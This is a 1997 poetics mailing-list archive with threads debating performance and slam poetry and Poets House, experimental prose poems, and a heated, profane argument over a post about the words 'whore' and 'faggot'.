hi. i'm natasha von rabbit-masher. i wear Coty Dreamy Lady Cosmetics, have perfect pitch but cannot carry a tune, and was born in the steppes of Russia to the daughter of a cossack. i was nursed on frozen vodka, and except for making me pass out and lose several toes to frostbite, it never hurt me a bit. i write sonnets in french when i'm on the pot, and when i am in love, i conjugate irregular verbs in japanese for relaxation.

i know obscene words in many languages, and when there is no moon to howl at, and everyone present speaks japanese, i recite my obscene words to the accompaniment of a dull thrum in perfect pitch but without a tune. sometimes i let my lover wear a cossack hat and eat Dreamy Lady Sugar-Kissed Lipstick, but not if it is a Saturday or i am wearing ermine.

god damn tampon trashbag whore fuck dogpoop candygram WHOOPS -- i think some people here might not speak japanese -- sorry!

perhaps i had better adjust my Dreamy Mascara...
e

↑ Index

617. dbkk

Re: Words which make People Garbage.

Sat 19 Jul 1997

At 6:02 PM -0400 7/19/97, Eliza McGrand- CVA Guest wrote:

> *god damn tampon trashbag whore fuck dogpoop candygram WHOOPS -- i think some*

Eliza,

Dogpoop! I think you've gone too far this time.

Dodie

↑ Index

618. **David R. Israel**
performance poetries
Sat 19 Jul 1997

[was:
Re: What comes next? }

Lawrence Upton wrote:
> performance poetry and performance poetry

well, yes -- and are you in Britain, Lawrence? And are you familiar with (for instance) the performance poets mentioned by Charles Alexander (i.e., bpNichol, Jackson Mac Low, Charlie Morrow)? Or with David Antin? Or others to be heard here in the States?

To speak broadbrush about a genre or medium or school of work, or whatever, involves some risks of misunderstanding -- particularly if one is using the term based on what's seen/heard in one part of the globe, when the term / phenomenon may be a different kettle of fish by some in some other city or area or (so to say) culture . . .

I've seen very few performance poets, but those whom I have seen
(like Charlie Marrow and David Antin) have certainly impressed me as
having quite as much artistic integrity as the most admirable of
poet-poets whose name one might wish to invoke.
> performance poetry and performance poetry
> there are many _performance poets_ who fit into the category that
> doesnt interest me greatly which pay attention to form - and timing
> and you name it

> *but the aim may be primarily to entertain - any number of comedians*
> *on first hearing come over as left radical because of the things*
> *they attack and then you find theyll attack anything if it gets a*
> *laugh... any kind of laugh... it is the atempt to to elicit response*
> *bringing money regardless of what it is*

yes, but there are performance poets who do not seem to have this sort of standard, or level -- (and there are at least a few comedians who are more consistent in their p.o.v.) --

the same line could be applied against "writers" or "poets" -- they only write to be read; they'll write anything to have an affect; they don't care what they say really, just messing around with words . . . all they care about is being published & famous . . . making a name for themselves . . . if they were really wise, they'd be silent . . .

> *i have sat through too many formless poetry performances - and what*
> *i notice too is the shallowness of the analysis apparently*

> *underlying what they say - 18 years of _get the tories out_ and it is all a bit confused now that the labour party is in with tory policies*

You're probably describing (with some accuracy) the general tenor of a phenomenon in your surround. But -- as noted above -- I'd question whether it should be applied broadbrush to the whole category of "performance (poetry)" per se.

> *or there is the deeply self-expressionistic - i am in love so this is a poem*

(I suppose one also finds that sort of thing on paper as well as circulating via public address system . . .)

> *as to the economy - there is the older fuller meaning, going back before the cash necklace and still relevant - how you manage things properly, how you achieve civilisation through that*

don't know what a cash necklace might be, but those questions are indeed perennial, -- and I've seen 'em wonderfully addressed by the few performance poets (those mentioned) I've been lucky to see ...

best,
d.i.

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| "...honk if you believe in geese" |
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619. **robert drake**

Re: Upcoming Subtext Readings & recent Seattle publications

Sat 19 Jul 1997

Herb Levy:
>There are also several recent publications by Seattle-area writers that

>should interest Poetics list folks:
>
>John Olson's Swarm of Edges, bcc editions
>Nico Vassilakis' Orange: a Manual, Sub Rosa press
>Laynie Browne also has a book from Kelsey Street, the name of which has
>disappeared from my desk (sorry)
>

Laynie Browne: _Rebecca Letters_; prose poems--just came in this morning & i'm initially smitten. $10. website:

http://www.sirius.com/~kelseyst/Rebec.html

no sample, alas.

& related, Nico Vassilakis' _sequence_ will be out frm burning press this week, soon as the glue dries... announcement 4thcoming

lbd

↑ Index

620. **Carl Lynden Peters**
Re: Words which make People Garbage.
Sat 19 Jul 1997

---

oh yeah! well i have it worse than all of you. no one takes me seriously.

↑ Index

621. **Hugh Steinberg**
Re: What comes next?
Sat 19 Jul 1997

I think it's grossly oversimplifying performance poetry, especially the slam/spoken word variety, as primarily market driven and formless. Many of the slam poets I know are quite concerned with form, particularly as to how form and sound interrelate. Bland free verse or simple, obvious rhymes and meters don't cut it in performance poetry (at the Green Mill one of the favorite audience heckling tactics is "guess the rhyme" in which audience members will end the poet's lines before he or she does: it's quite rattling). The work that is performed in these venues can be quite political and/or experimental.

The thing to keep in mind is that this genre pretty much evolved independently from the performance poetry that emerged in the sixties and seventies (such as Nichol or Mac Low). Most have never heard of, let alone been influenced by, these people, even though occasionally there are some remarkable parallels going on.

I agree with Charles on all poetry being affected by and taking part in the market economy. As for market economies and entertainment values, I'd like to point out that the institutions of this poetry are much better situated to thrive in the coming grant-free world than much of the mainstream. And I think it's ludicrous, if not downright hypocritical, to single out this poetry as being driven strictly by entertainment. What poetry (discursive or not) isn't entertaining (and do you -- be honest -- want to spend your limited time resources on the kind that isn't)?

Slam poetics are quite explicit in the connection between poetry, pleasure and the presence of audience: their emergence was in reaction to the perceived notion that poetry was a dull, dutiful thing (like truly bad church), to be attended to by people in college. It is populist and popular. It is not, however, strictly hedonistic. One development worth looking at is the split that occured last summer in the Chicago slam team, where several more explicitly political writers (Daniel Ferri, Monica Copeland, Reggie Gibbons, and a fourth who's name I can't remember to save my life) splintered off from the Green Mill to participate in the national slam as Team Berwyn. I think they took third.

Hugh Steinberg

↑ Index

622. charles alexander
Re: What comes next?
Sat 19 Jul 1997

I think this is a limited view of "performance poetry." It may be true of many slam scenes, but I don't think it's true of the performance works of bpNichol, Jackson Mac Low, Charlie Morrow, and others. Such works and performers are acutely conscious of form. Still, depending on how you define product and market, all of our poetries function as part of an economy.

charles

chax press & alexander writing/design/publishing
handmade books and hand crafted web sites
http://personal.riverusers.com/~chax/

> Poetries that are non-discursive (more "presentational) are often
> market-driven, entertainment economies and are processed that way by the
> spectator. Performance poetry is usually (and quite literally) "judged" or
> measured according to its entertainment value. These poetries are rendered
> economic by virtue of the fact that they are perceived to be more material
> in some sense -- they are framed in some kind of context that is not

> concerned with consciousness of form. They are thought to take up the space
> and time of the individual as other forms of entertainment do and are
> effected by fluctuating rules of consumption that are essentially
> market-driven. Though there is no recognizable market for, let's say,
> "hypertexts," readers/spectators who seek-out such non-discursive forms
> often do so for the same reasons that they would seek out a particular
> product.

↑ Index

623. **Lawrence Upton**
Re: What comes next?
Sat 19 Jul 1997

Hugh Steinberg wrote:

<<I think it's grossly oversimplifying performance poetry, especially the slam/spoken word variety, as primarily market driven and formless.>>

I dont think anyone did

<<I agree with Charles on all poetry being affected by and taking part in the market economy. >>

well that's that settled then

<<I think it's ludicrous, if not downright hypocritical, to single out this poetry as being driven strictly by entertainment.>>

no one did

<< What poetry (discursive or not) isn't entertaining>>

slightly different usage

Lawrence Upton

↑ Index

624. **Lawrence Upton**
performance poetries
Sat 19 Jul 1997

---

hallo david

<<are you in Britain, Lawrence?>>

yes

<< And are you familiar with (for instance) the performance poets mentioned by Charles Alexander (i.e., bpNichol, Jackson Mac Low, Charlie Morrow)? Or with David Antin? Or others to be heard here in the States?>>

yes

<<To speak broadbrush about a genre or medium or school of work, or whatever, involves some risks of misunderstanding>>

that was why i responded

<<I've seen very few performance poets, but those whom I have seen (like Charlie Marrow and David Antin) have certainly impressed me as having quite as much artistic integrity as the most admirable of poet-poets whose name one might wish to invoke.>>

sure

<<yes, but there are performance poets who do not seem to have this sort of standard, or level -- (and there are at least a few comedians who are more consistent in their p.o.v.) -->>

sure

<<You're probably describing (with some accuracy) the general tenor of a phenomenon in your surround. But -- as noted above -- I'd question whether it should be applied broadbrush to the whole category of "performance (poetry)" per se.>>

no that is exactly what i wasnt doing - _performance poetry and performance poetry_

i suspect you have exactly the same thing in your surroundings

<<I suppose one also finds that sort of thing on paper as well as circulating via public address system . . .)>>

yep

<<don't know what a cash necklace might be, but those questions are indeed perennial, -- and I've seen 'em wonderfully addressed by the few performance poets (those mentioned) I've been lucky to see ...>>

a cash necklace is a cash nexus pulled over your head to burn you up or hang you

buy buy

Lawrence Upton

↑ Index

625. **Schuchat Simon**
Re: Words which make People Garbage.
Sat 19 Jul 1997

---

ecktually, the only irregular verbs in Japanese are

to be (aka "the copula")

to come

but you knew that

↑ Index

626. **dbkk**
Poets House
Sat 19 Jul 1997

Went to another arts administration symposium--this one on the state of poetry in the West (meaning western U.S.). The keynote speaker was Kim Stafford, Bill's son, so that will give you all a sense of the tone/aesthetic. He didn't mention any dead deers but he did recite by heart (and with *much* feeling) a poem a woman wrote for the occasion of scattering the ashes of her friend's dead seeing-eye dog. This was an example of the riches that were out there if we arts administrators would only look.

Another speaker was the director of Poets House in New York. She was likeable, and like Kim Stafford, was a fan of cowboy poetry. I'm curious that I've never heard any of my NYC friends mention Poets House. What's the word on the street about it? Backchannel if what you have to say is too juicy for public consumption.

Dodie

↑ Index

627. **David R. Israel**
Re: Poets House
Sun 20 Jul 1997

Dodie, you say & ask --

> *Another speaker was the director of Poets House in New York. She was likeable, and like Kim Stafford, was a fan of cowboy poetry. I'm curious that I've never heard any of my NYC friends mention Poets House. What's the word on the street about it? Backchannel if what you have to say is too juicy for public consumption.*

I don't have anything juicy -- & prob. am not in touch w/ the real word on the street -- but do have a few brief impressions, for what worth. A late NYC poet-

friend used to mention the place favorably, saying she'd taken some sort of workshops or seminars there -- Poet's House, as you likely know, was established by Stanley Kunitz (using money he'd gotten from some big poetry prize, I think) -- they have an *amazing* library (books & periodicals) which I've not yet taken time to really take advantage of, but the place is open regular hours and is well worth a visit, if one is in New York, on that ground alone; -- once a year, they have a sort of festival for new po books & publications, and I think they display many hundreds of such -- but I've never made that event --

one thing I did get to, though, was a little several-hour seminar thing (in a series of such); -- the one I managed to attend (timing a visit to NYC so as to be able to do this) was led by our list's own Michael Heller, on topic of the poetry of Wallace Stevens. Slightly pricy ($25) by some standards, but I much enjoyed the combination of Heller's lecturing (more or less) combined w/ some discussion from the group of half-a-dozen-or-so seminarians . . .

I know the xerox-zine *Talisman* is / was regularly dropped off at Poet's House for their library (someone there seemingly knew my almost-unknowable name from that, seemed) -- & many, many other little (or otherwise) periodicals are likewise assembled. I haven't paid a lot of attention to their reading series (I think they have one), but the folks have always seemed non-stuffy & friendly . . .

those are my own scant impressions, for what worth . . . I'll leave it to the real cognoscenti to give you more serious low-down ...

d.i.

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| "...honk if you believe in geese" |
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628. Dan Raphael Dlugonski
performance poetries
Sun 20 Jul 1997

theres a differnce between poetry written for performance and poetry that is (or can be) performed. you can write something with the intent of a live performance either along the lines of theatre (which itself has several lines, from brechtian to realistic transport, with several places in between), all of which imply some intent for aesthetic experience. then there are less artistic/literary intent, such as to win a slam or to be a successful stand-up perfomer. there's also the realm of performance art, but im going to limit this to performance poetry. i think a good poem can exist at several levels, including when heard and when read on a page. and that some of the elements and imporessions communciated ont he page or in a reading/performance are different, and that several levels of experience may be needed to find the full richness of a work. sound is part of the words and part of the poem. the visual images evoked by the words, the individual memories evoked by the words are also part of the experience of the poem. what you see in the poems arrangment, visual puns in spelling, other elements that can only be communicated on the page,a re also part of the experience. some poets write more for/from the intellect, some more for/from the emotions, and other realms/channels that are reached to various extents. add to this the poedts themselves, their comfort in audiences, in public. their voices. their relatioships with their bodies. a poet who is comofrtable performing will usually write work more conducive to live presentation; other poets may have work that can be presented by others. my feeling is that the sond, teh communciaton should be there; that if the poem is too reliant on the page, on solitary cogitation, then it is not a fully realized work. my first exposures to poetry (other than grade and high school) were at a coffeehouse where people read ferlinghetti, ginsberg, patchem, yevtushenko & others. people with limited experience with contemporary poetry often find it easier to read my poems on the page once theyve heard me perform it.

dan raphael

↑ Index

629. Ken Edwards
performance poetries
Sun 20 Jul 1997

David R. Israel:

Are you in America?

Have you heard of Lawrence Upton and Bob Cobbing?

↑ Index

630. **Maria Damon**
Re: What comes next?
Sun 20 Jul 1997

---

i agree w/ hugh steinberg that performance/slam style poetry is not to be reduced to commercialism and written off. in fact, one could argue that it is far less commercially driven than other types of poetry. the fact that it is popular and populist is not a bad thing. we've had this discussion b4.

↑ Index

631. **Kim Dawn**
(no subject)
Sun 20 Jul 1997

My name is kim dawn vivian graham. I am a sex addict. I am in love with a child molestor.

↑ Index

632. **David Bromige**
Poets House
Sun 20 Jul 1997

I know the Poets Hoiuse (Cotage, they call it) in Tucson is a remarkable place, good library, & that one can stay there overnight. Does the Poets House in NYC offer the same hospitality? David

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633. **Michael Heller**
Poets House
Sun 20 Jul 1997

Re. Dodie's query. Everyone on the list ought to be looking into and joining Poets House (which with fund cutting everywhere badly needs support). Beautiful space, one of the largest poetry libraries in NYC, resource center and many presentations, seminars and panels (by many members on this list) on everyone and everything including--and of special interest in terms of recently dicussed topics-- HD, Neidecker, Oppen, Zukofsky, buddhist influence on Amer. poetry, performance and sound poetries, the enumerations go on and on. Their annual showcase display of newly published books is by itself worth the price of your support.

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634. **charles alexander**
Re: Poets House
Sun 20 Jul 1997

I know Poets House tries to acquire every poetry book published in each year since the house's inception -- tries to acquire via donation from the publishers, that is. I visited there and will attest to its rather comprehensive library, particularly of books published in the last few years.

If anyone goes to the building, try to visit Pace Edition's Spring Street Workshop, also in the same building (I don't remember the floor). Great printmaking studios, other arts assembly studios. Once I got out of the elevator on one floor and was right in the middle of Jim Dine working on a new show. I don't know if the Spring Street Workshop is officially open to the public, but the people there are usually very friendly.

charles

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635. **Carl Lynden Peters**
Re: What comes next?
Sun 20 Jul 1997

> *i agree w/ hugh steinberg that performance/slam style poetry is not to be reduced to commercialism and written off. in fact, one could argue that it is far less commercially driven than other types of poetry. the fact that it is popular and populist is not a bad thing. we've had this discussion b4.*

i didn't even think there was an audience for concrete and sound poetry (but i'm reading those into the word _performance_). xcept for the poet. but that doesn't count. i'm not so sure there is such a thing as a public art. or maybe i don't believe in one. and maybe i'm over - interpreting a gain.

↑ Index

636. **p. durgin**
Re: poetry/comedy/tv
Sun 20 Jul 1997

Stacie,

I do remember that episode, and fondly. Remember also that what young Britain needed at that time was a counter to all the Billy Bragging going on, don't you think?

I[I]I [redacted] I[I]I

On Fri, 18 Jul 1997, STACIE ELYSE SLOTNICK wrote:

> *Has anyone ever seen the episode of the Young Ones where Rick (Rik Mayall) proclaims himself the People's Poet? Acutally, throughout many of the episodes are funny little poem-bits (like the poem he wrote for their house when it was about to be demolished: House/House, oh you're made of stone/but you're not a lone/*
> *ly house). They used to show the Young ONes on MTV really late at night, but I've not been able to find it anywhere since I was in high school.*
>
> *Stacie S.*

↑ Index

637. **p. durgin**
Re: Words which make People Garbage.
Sun 20 Jul 1997

---

big deal, it's worst of all for myself whom seriously no one takes.

I[I]I [redacted] I[I]I

On Sat, 19 Jul 1997, Carl Lynden Peters wrote:

> *oh yeah! well i have it worse than all of you. no one takes me seriously.*

↑ Index

638. **Julie Marie Schmid**
Re: What comes next?
Sun 20 Jul 1997

Amen, Maria and Hugh! I get frustrated with the kind of approach to poetry that needs to maintain this page/stage dichotomy and cannot, for the life of me, figure out why this list keeps having this discussion over and over again. I've been working on a dissertation on community poetics (slam, words-n-music, etc.) for a good while now. What drew me to the project was both my own experience with performing poetry and the fact that many of the poets I heard at the Green Mill and at the Guild Complex and other venues around Chicago were explicitly political. However, poets like Patricia Smith, Michael Brown, or Reggie Gibson (on of my favorites!) also have very good ears and work that slippery intersection of sound and meaning very deftly. I would also like to go on record as saying that much of this work IS incredibly powerful on the page as well. The way that a poet like Smith works with alliteration, assonance, internal rhyme, as well as voice is truly remarkable, both on the page and in performance.

As far as commericalism goes--give me a break! I know of very few performance poets who have big contracts with major publishing houses or recording labels. Nor do I know of any teaching in academic workshops or doing the University reading circuit. I have problem with the idea that ANY commercialism is somehow a sellout or that it cheapens ones work. Personally, I find that as an academic in this publish-or-perish-Routledge-book-of-the-month environment, I am much more driven by commercialism than most slam poets and to argue otherwise would be disingenuous.

On Sun, 20 Jul 1997, Maria Damon wrote:

> *i agree w/ hugh steinberg that performance/slam style poetry is not to be reduced to commercialism and written off. in fact, one could argue that it is far less commercially driven than other types of poetry. the fact that it is popular and populist is not a bad thing. we've had this discussion b4.*

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639. **Steven Marks**

Re: Poets House

Sun 20 Jul 1997

How does one join? Anybody have an address -- snail or Web?

Steven

On Sun, 20 Jul 1997, Michael Heller wrote:

> *Re. Dodie's query. Everyone on the list ought to be looking into and joining Poets House (which with fund cutting everywhere badly needs support). Beautiful space, one of the largest poetry libraries in NYC, resource center and many presentations, seminars and panels (by many members on this list) on everyone and everything including--and of special interest in terms of recently dicussed topics-- HD, Neidecker, Oppen, Zukofsky, buddhist influence on Amer. poetry, performance and sound poetries, the enumerations go on and on. Their annual showcase display of newly published books is by itself worth the price of your support.*

Steven Marks

http://members.aol.com/swmarks/welcome.html

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640. Joe Amato/Kass Fleisher
Re: What comes next?
Sun 20 Jul 1997

back from europe and watching the words whiz by, lagging... good to be sleeping in my own bed...

yeah, the performance vs. _____ poetry thread is annoying... but hey, it's a tv culture in the u.s. of a. and it's difficult sometimes to know how to conduct a criteek of (any aspect of) same while avoiding the old high vs. low culture distinctions... yeah, sure, i've had a good time at slams, seen some stuff performed that was as bad as anything gurgling through the hallowed halls of academe... which is to say, one can be as bad as the other...

on the academic front, i lament the sheer sobriety of technique...

on the slam front, i lament the public relations strategies i've seen employed to secure audience rapport, if not support...

ok, so my french is killing me... the peaches in paris were as sweet as my childhood... most of the time, i mean... hey, humor-wise, how bout anybody remember

STEAL THIS BOOK

?... hope so!...

anyway... not so good in some ways, but as to poetix, good to be back!///

best,

joe

↑ Index

641. David Bromige
the tale of a toilet paper roll
Sun 20 Jul 1997

At first I thought little of it, being some one thing and no other in life appearing the natural course of events. But as time passed & I became imbued, godknows how, with knowledge of other ways, & I learned that my ancestors were trees, I felt a great yearning to be a tree in a forest. Well, this was not to be. But I couldn't help but bewail my lot, that I had not at least been made into a tallboy, or a set of diningroom furniture, or the headboard of a bed, where the activities open to my view should have proven more various.

I even upbraided myself, that there had been at some point a choice open to me, and that i had, godknows how, stayed unaware of this choice. And that now, affixed to the wall of a lavatory, it was too late. Still, I am nothing if not

consistent, and continued to have regrets even while proving adjustable to my present circumstance. Perhaps this says nothing more than that I had a mind of my own, and at least the choice to speak out or to stay quiet about the conditions society had imposed upon me at the very moment of my creation. My cry may well be a muffled one, but if you listen hard enough, you will hear it.

Monotony,apprehensiveness, surprise & shock, you will suppose, make up my lot -- the waiting & then the sudden ripping off from the whole, the violent application to an asshole, then the rejection, dropped into water to drown in a maelstrom. But I am more than the sum of my parts. I remember those pieces of myself now apparently lost to me; aye, and I recall every ass I've ever cleaned. And for some, although the acquaintance was brief, I treasure to this day, tender feelings. Not all assholes are alike. Some through their mere appearance aroused a passion in me, a longing that I still feel, although the moment of physical intimacy was so brief. And even today, hanging here, I hope that the next hole I see close up, will stir this tender passion in me.

My regrets for the "roads not taken" (to quote one of my peers) have lately yielded to a more pressing concern, however. I observe that I am growing thinner every day, and fear that shortly nothing shall be left of me but the cardboard tube that is my heart, and that this shall be quickly despatched into the garbage, just as so much of me has already been flushed, in what condition I leave to the reader's imagination. Therefore through a great effort of will I am self-perforating my tissue to leave this message behind--some trace that I lived where people moved and had their being. Please examine me carefully sheet by sheet so that my cri de coeur not go unremarked. Like Kilroy, I was here, & like Kilroy, I had no real means to be other than what I am. Do not send to see for whom the bowl flushes. It flushes for thee. T.P.

↑ Index

642. **Joseph Zitt**
Re: What comes next?
Sun 20 Jul 1997

Carl Lynden Peters wrote:

> *i didn't even think there was an audience for concrete and sound poetry (but i'm reading those into the word _performance_). xcept for the poet. but that doesn't count. i'm not so sure there is such a thing as a public art. or maybe i don't believe in one. and maybe i'm over - interpreting a gain.*

For what it's worth, when I was performing in Dallas with the sound poetry group "Question Authority, the", we got a good-sized audience, primarily of people who probably had never hear the term "sound poetry". They just knew that

the people onstage were doing something that appeared to be fun. --
---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted] ===== Human Systems \||| ||/ Austin, Texas! ========== SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == Empty Words == ecto \|

↑ Index

643. **Alan J Sondheim**
(no subject)
Sun 20 Jul 1997

<>

Mira Beloved of the Lord

Mira I will wash the feet of my Lord and Will Sit Mira at this Washing of the Feet and they will Mira make of This a Shrine of a Pool of Water and They will Mira Make of this a Goal of Pilgrimage and I Mira Mira Will be Your Slave, and I will Tend Mira the Lines of Men and Women, and I will Be Mira the tears from Your Eyes, And I will Wipe your Eyes Dry of These Mira Yours Tears, and I will Wipe the Sweat from your Brow and Oh So Mira Careful I will Dust by thy Footprints on the Road and Oh So Mira careful They will be Hide from You Know Who which is of My Name Mira of Mira will be for you Of That Darshan and You Will Know Him and Mira You Will Know Her and There is a Red Thread Across the River and Mira There is A Red Path of Red Dust by the Thread and I will be Your Mira Guide by This River and I will Walk along the Red Thread by the Mira Red Path in the Red Dust and I will Wash your Feet and I will Mira Wash your Feet

↑ Index

644. **Stephen C. Ellwood**
Re: Words which make People Garbage.
Sun 20 Jul 1997

On Sat, 19 Jul 1997, Mark Weiss wrote:

Provocation for its own sake

First of all, Mark, I didn't think of what I wrote as being provocative to the people here, regardless of wether it was "for it's own sake" or not. I've been here a while, Ive been watching. I don't think of the people on the list as the kind to be "provoked" by words like whore or faggot. It certainly was not intended in that spirit. Secondly, I am truly sick to death of having my own work and the work of others criticised in those terms. Frankly, I think it's a stupid fruitless criticism that comes out of a pricle of discomfort conceptualised as irritation for

the sake of ease. Thirdly, I feel hurt that the first public response I get to a post is this kind of attack. The bottom line is I AM a whore and I AM in live with a Faggot and I AM, for obvious reasons, deeply concerned with the mechanisms in place to make me feel like shit about both of those things. I thought that the people on this list would be responsive or interested in the way language operates as such a mechanism. So whatever, buddy. You made me feel really shitty so I feel like saying fuck you. But I won't.

It also doesn't say much for the
> cojones of the perpetrator--I mean, what bad thing do you risk in this
> venue. I suggest, instead, if you really want to provoke reactions, that you
> have your post printed on a t-shirt and walk into a leather bar. Or maybe
> just go up to a cop, or your boss, or your parents, and shout it.
>
>
> At 05:10 PM 7/19/97 -0300, you wrote:
> >My name is Emily Vey Duke. I am a Whore. I am in love with a Faggot.
> >
> >
>

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645. Layne Russell
Sonoma County events
Sun 20 Jul 1997

Tonight David Bromige was interviewed on "Inkwell," an hour-long FM PBS radio show out of Santa Rosa, CA. Layne, yours truly, was on the show two Sundays ago.

This next Friday evening at 7:30, July 25th, Layne-that's-me is reading in the Gallery at the Sebastopol Center for the Arts with Sacramento poet Luke Breit. Layne and Luke will also be reading in Petaluma, CA, at Copperfield's Cafe September 18.

David and Layne were among about seven poets who read in Sonoma this last Wednesday as part of the two week Sonoma Valley Poetry Festival. David, btw, was his witty, charming self and read beautifully.

Layne

http://www.sonic.net/layne

↑ Index

646. **Mark Weiss**
Re: Words which make People Garbage.
Sun 20 Jul 1997

I got this backchannel, as if it were a private communication. Then, lo and behold! public! Neat trick.

At 10:54 PM 7/20/97 -0300, you wrote:
>On Sat, 19 Jul 1997, Mark Weiss wrote:
>
>Provocation for its own sake
>
>First of all, Mark, I didn't think of what I wrote as being provocative
>to the people here, regardless of wether it was "for it's own sake" or
>not. I've been here a while, Ive been watching. I don't think of the
>people on the list as the kind to be "provoked" by words like whore or
>faggot. It certainly was not intended in that spirit. Secondly, I am
>truly sick to death of having my own work and the work of others
>criticised in those terms. Frankly, I think it's a stupid fruitless
>criticism that comes out of a pricle of discomfort conceptualised as
>irritation for the sake of ease. Thirdly, I feel hurt that the first
>public response I get to a post is this kind of attack. The bottom line
>is I AM a whore and I AM in live with a Faggot and I AM, for obvious
>reasons, deeply concerned with the mechanisms in place to make me feel
>like shit about both of those things. I thought that the people on this
>list would be responsive or interested in the way language operates as
>such a mechanism. So whatever, buddy. You made me feel really shitty so
>I feel like saying fuck you. But I won't.
>
>It also doesn't say much for the
>> cojones of the perpetrator--I mean, what bad thing do you risk in this
>> venue. I suggest, instead, if you really want to provoke reactions, that you
>> have your post printed on a t-shirt and walk into a leather bar. Or maybe
>> just go up to a cop, or your boss, or your parents, and shout it.
>>
>>
>> At 05:10 PM 7/19/97 -0300, you wrote:
>> >My name is Emily Vey Duke. I am a Whore. I am in love with a Faggot.
>> >
>> >
>>
>
>

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647. Eliza McGrand- CVA Guest

Re: Words which make People Garbage.

Sun 20 Jul 1997

why, of course i knew there were only the two irregular verbs in japanese, and such delicious words, too! to conjugate any more, irregularly, in performance, would be indelicate, don't you think simon?

ah yes, as i sit nibbling tiny crunchy ortolans, the orotund phrases of bukowski trembling like taught fawns in my mind, i tatter myself back to memories of my days as a courtesan. no bibelot was i, but a myriad, aquifer, flows of words as body as text tumbling body to body, text to text. irregular verbs clash like swords and the sound reverberates in the shatterable waterford halls of my sole -- heel my sole poetry, be as wings to the tender dove, hands to the ticking clock, fowl to the english hunter in pursuit of the inedible. tremble oh faint heart as i drew myself up and said "raoul, it must end now! you must fight, as a man, and i... i must love, as a woman."

but unfortunately my mother purchased several bottles of vicks cough syrup over the coming several weeks and though i meant to cultivate my cough, delicately, the odour of camphor and cherry overcame me. packing my grandfather's carpet bag, i went out into the world in search of the romance so terribly worn, fatiguee, in the tiny northern town of my birth. i ended up, as do we all, on the Beaconed Vistas of Broadway, bought a leather jacket, listened to the ineluctable Patty Smith, and now, worn, disillusioned, Fatima hanging from the corner of my mouth, i pursue the only things that can rouse me, occasionally, from my ennui -- "Tasha, Old Thing, do Rouse Yourself" my friends say, but the Muse, the Muse, the languid droop of her thin coughing fingers...

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648. dbkk

Re: Words which make People Garbage.

Sun 20 Jul 1997

> *On Sat, 19 Jul 1997, Mark Weiss wrote:*
> *The bottom line*
> *is I AM a whore and I AM in live with a Faggot and I AM, for obvious reasons, deeply concerned with the mechanisms in place to make me feel like shit about both of those things. I thought that the people on this list would be responsive or interested in the way language operates as such a mechanism. So whatever, buddy. You made me feel really shitty so I feel like saying fuck you. But I won't.*

You're the one who's using the shitty language, feeling shitty. The sex worker artists I know here in San Francisco, and there are many of them, it's a cool thing to be, have much higher self images than you exhibit. Why don't you try consciousness-raising rather than flinging your shit on a bunch of strangers.

Ms. Rhetorical Violence

↑ Index

649. **DS**
Re: Words which make Herr Garbage.
Mon 21 Jul 1997

And now for something completely different...

(spot the Chaplin reference in the subject line)

Has anybody seen the new Isaac Julien - Franz Fanon doco?

I saw it last night - realising during that yesterday was his birthday - & other numerological epiphanies

Anyway this isn't really poetics but it is nicer than all this bickering as Fanon never said (But Mr Burn's did on the Mulder/Scully Simpsons) "Can't we just all get along."

Anyway this was a fascinating & resonant if slightly overblown study of Fanon which attempted all sorts of psychoanalytical quote-y visual tricks (or maybe the director just liked the actor playing Fanon's body). Not really a discussion of the poetics of poetry - but the poetics of cinema - sure. And the poetics of documentary - absolutely. The Fanon readings themselves were delivered poetically - a device strangley appropriate considering the didactics of his writings (and there is a hate-mongerer for you - other peoples words not mine - don't think he is so much when you really read him). Interviewees included Homi Bhabha, Stuart Hall & other 'cultural theorists'. Whether people's cups of tea/coffee or not - bloody nice to see something so thoughtful in this age of popular thoughtlessness.

Wasn't sure about directorial efforts to represent 'unveiling etc' but any criticism is a complement to a film attempting something so ambitious. Anyway - a whole lot further on from Julien's homphobia and reggae doco of a couple of years ago.

Anyway that's enough for now - anyone else?

Look Fanon is simply more relevant to a poetics discussion than a lot of these bickerings. Flirtings and teasings... keep em up - there are no good soaps on telly at the moment.

So lets get this train (of thought) back on track, and start pushing my barrow cos these slivered linings of your cumulo-nimbus are dragging their ol' butts hereabouts.

POoH-etics anybody?

Dan Salmon.

↑ Index

650. **Stephen C. Ellwood**

Re: Words which make People Garbage.

Mon 21 Jul 1997

You don't understand. Which is a little hard to swallow, this shit about you telling me to raise my conciousness and what, maybe my self esteem? After you, Ms. Dodie, chose to A) not communicate with me privately, then B) Make the news of your your brief and somewhat dismissive private correspondance with me as a testimony to your, what was it, Radicalism? Non bourgeoisness? Or was it Avante Gardeism? I can't remember. But here, let me try to clarify: I am using"The Personal Voice" (you're familliar, I'm sure) to write about a Public Institution (language) and the damage it does--yes, to me, to my heart, to me! But obviously I am not submerged. Jesus Christ, there's bad. There's bad and good feelings and there's poison and oppression and no, for fuck's sake, it's not "cool" to be a prostitute. Its lucrative! It affords dignity to me, but I'm a middle class college kid. The word whore hasn't ruined me. But it has power, it corrupts all of our sexual/political/romantic landscapes. It is not cool. The word faggot hasn't ruined the man I love, but it has given him pause. If you don't want to talk about this, fine. There are people who do, and I thank god for them, cause I am a lonely type. Fuck, why are you, Mark Weiss, and you Dodie Bellamy, so nasty about it? I will happily say it again, and please, this time listen to, or speculate on, the inflection:

I am a whore and I am in love with a faggot.

See, no self loathing. Just an acknowledgement of suffering. Just a tear shed against injustice. Just a poem, a short one.

On Sun, 20 Jul 1997 [redacted] wrote:

> *On Sat, 19 Jul 1997, Mark Weiss wrote:*
> *The bottom line*
> *is I AM a whore and I AM in live with a Faggot and I AM, for obvious reasons, deeply concerned with the mechanisms in place to make me feel like shit about both of those things. I thought that the people on this list would be responsive or interested in the way language operates as such a mechanism. So whatever, buddy. You made me feel really shitty so I feel like saying fuck you. But I won't.*

> *You're the one who's using the shitty language, feeling shitty. The sex worker artists I know here in San Francisco, and there are many of them, it's a cool thing to be, have much higher self images than you exhibit. Why don't you try consciousness-raising rather than flinging your shit on a bunch of strangers.*
>
> *Ms. Rhetorical Violence*

↑ Index

651. **Stephen C. Ellwood**

Re: Words which make People Garbage.

Mon 21 Jul 1997

I didn't actually backchannel this to Mark Weiss. I don't know why it reached him that way, but it wasn't duplicity on my part.

